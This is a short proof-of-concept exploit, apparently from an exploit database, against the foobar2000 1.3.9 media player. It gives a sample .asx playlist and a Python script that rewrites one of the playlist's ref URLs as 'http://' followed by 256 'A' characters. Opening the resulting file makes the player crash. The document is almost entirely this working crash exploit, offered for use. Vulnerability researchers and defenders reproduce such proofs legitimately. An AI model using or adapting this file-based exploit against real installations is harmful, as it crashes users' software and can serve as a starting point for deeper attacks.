foobar2000 1.3.9 – ‘.asx’ Local Crash (PoC)
# Exploit Title: foobar2000 1.3.9 (.asx) Local Crash PoC # Date: 11-15-2015 # Exploit Author: Antonio Z. # Vendor Homepage: http://www.foobar2000.org/ # Software Link: http://www.foobar2000.org/getfile/036be51abc909653ad44d664f0ce3668/foobar2000_v1.3.9.exe # Version: 1.3.9 # Tested on: Windows XP SP3, Windows 7 SP1 x86, Windows 7 SP1 x64, Windows 8.1 x64, Windows 10 x64 # Instructions: Create playlist.asx: # <asx version="3.0"> # <title>Example.com Live Stream</title> # # <entry> # <title>Short Announcement to Play Before Main Stream</title> # <ref href="http://example.com/announcement.wma" /> # <param name="aParameterName" value="aParameterValue" /> # </entry> # # <entry> # <title>Example radio</title> # <ref href="http://example.com" /> # <author>Example.com</author> # <copyright>example.com</copyright> # </entry> # </asx> import os import shutil evil = 'A' * 256 shutil.copy ('playlist.asx', 'Local_Crash_PoC.asx') file = open('Local_Crash_PoC.asx','r') file_data = file.read() file.close() file_new_data = file_data.replace('<ref href="http://example.com" />','<ref href="http://' + evil + '" />') file = open('Local_Crash_PoC.asx','w') file.write(file_new_data) file.close() |